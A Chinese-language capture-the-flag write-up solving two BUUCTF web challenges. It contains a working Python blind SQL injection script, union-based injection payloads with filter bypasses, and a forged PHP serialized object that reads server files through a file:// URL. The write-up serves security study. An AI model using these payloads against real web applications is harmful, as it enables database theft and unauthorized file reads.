BUUCTF刷题笔记（十五）

§ [CISCN2019 华北赛区 Day2 Web1]Hack World

§ [网鼎杯 2018]Fakebook

[CISCN2019 华北赛区 Day2 Web1]Hack World

fuzz

拿字典跑了下

当 id 的值为1或2时会查询到以下结果

id=1 => Hello, glzjin wants a girlfriend.
id=2 => Do you want to be my girlfriend?

当 id 的值为其他数字或 @ 时回显 Error Occured When Fetch Result.

当 id 的值为 or and from like insert delect update select sleep 时回显 bool(false)

当 id 的值为 --+ information information_schema separator floor xor 时回显 SQL Injection Checked.

尝试 id=if(length((select(flag)from(flag)))=42,1,0)

回显 Hello, glzjin wants a girlfriend.

确认 flag 有42个字符

二分法穷举

来自 inanb 的二分法穷举脚本

import requests
import time
url = 'http://2bd5e0bf-74ef-4b72-90b8-315541a82d9d.node3.buuoj.cn/'
flag=""
for x in range(1,43):
    l = 32
    r = 126
    while r > l:
        mid = int((l+r+1) / 2)
        x = str(x)
        y = str(mid)
        id = {"id":'if(ascii(substr((select(flag)from(flag)),'+x+',1))>='+y+',1,0)'}
        response = requests.post(url=url,data=id)
        if "Hello" in response.text:
            l = mid
        else:
            r = mid-1
        time.sleep(0.03)
    flag+=(chr(int(r)))
    print(chr(int(r)))
print(flag)

[网鼎杯 2018]Fakebook

dirsearch 扫出了 robots.txt flag.php error.php view.php db.php

robots.txt 提示存在 user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

简单注册登录后发现存在sql注入，扫字典

过滤了 0x7e select union

no=-1%20order%20by%201,2,3,4,5%23 报错

存在四列数据

no=-1%20union%20select%201,2,3,4%20%23

no hack _

no=-1%20union/**/select%201,2,3,4%20%23

no=-1%20union/**/select%201,@@version_compile_os,3,4%20%23

Linux

no=-1%20union/**/select%201,version(),3,4%20%23

10.2.26-MariaDB-log

no=-1%20union/**/select%201,user(),3,4%20%23

root@localhost

no=-1%20union/**/select%201,database(),3,4%20%23

fakebook

no=-1%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%20%23

users

no=-1%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27%20%23

no,username,passwd,data

no=-1%20union/**/select%201,data,3,4%20from%20users%20%23

O:8:”UserInfo”:3:{s:4:”name”;s:1:”0”;s:3:”age”;i:0;s:4:”blog”;s:5:”0.com”;}

通过伪协议访问 file://var/www/html/flag.php

<?php
class UserInfo
{
    public $name = "0";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";

}
echo serialize(new UserInfo());

O:8:”UserInfo”:3:{s:4:”name”;s:1:”0”;s:3:”age”;i:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}

no=-1%20union/**/select%201,2,3,%27O:8:”UserInfo”:3:{s:4:”name”;s:1:”0”;s:3:”age”;i:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}%27

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3syOTkxM2UxYy0wZDllLTQ2OWEtYTEyNS0xZWZhOGUzMWYxMzF9IjsNCmV4aXQoMCk7DQo=

base64 解码后也会得到相同的内容

<?php

$flag = "flag{29913e1c-0d9e-469a-a125-1efa8e31f131}";
exit(0);

也可以 load_file 直接读取

no=-1 union/**/select 1,group_concat(load_file(‘/var/www/html/flag.php’)),3,4 from users #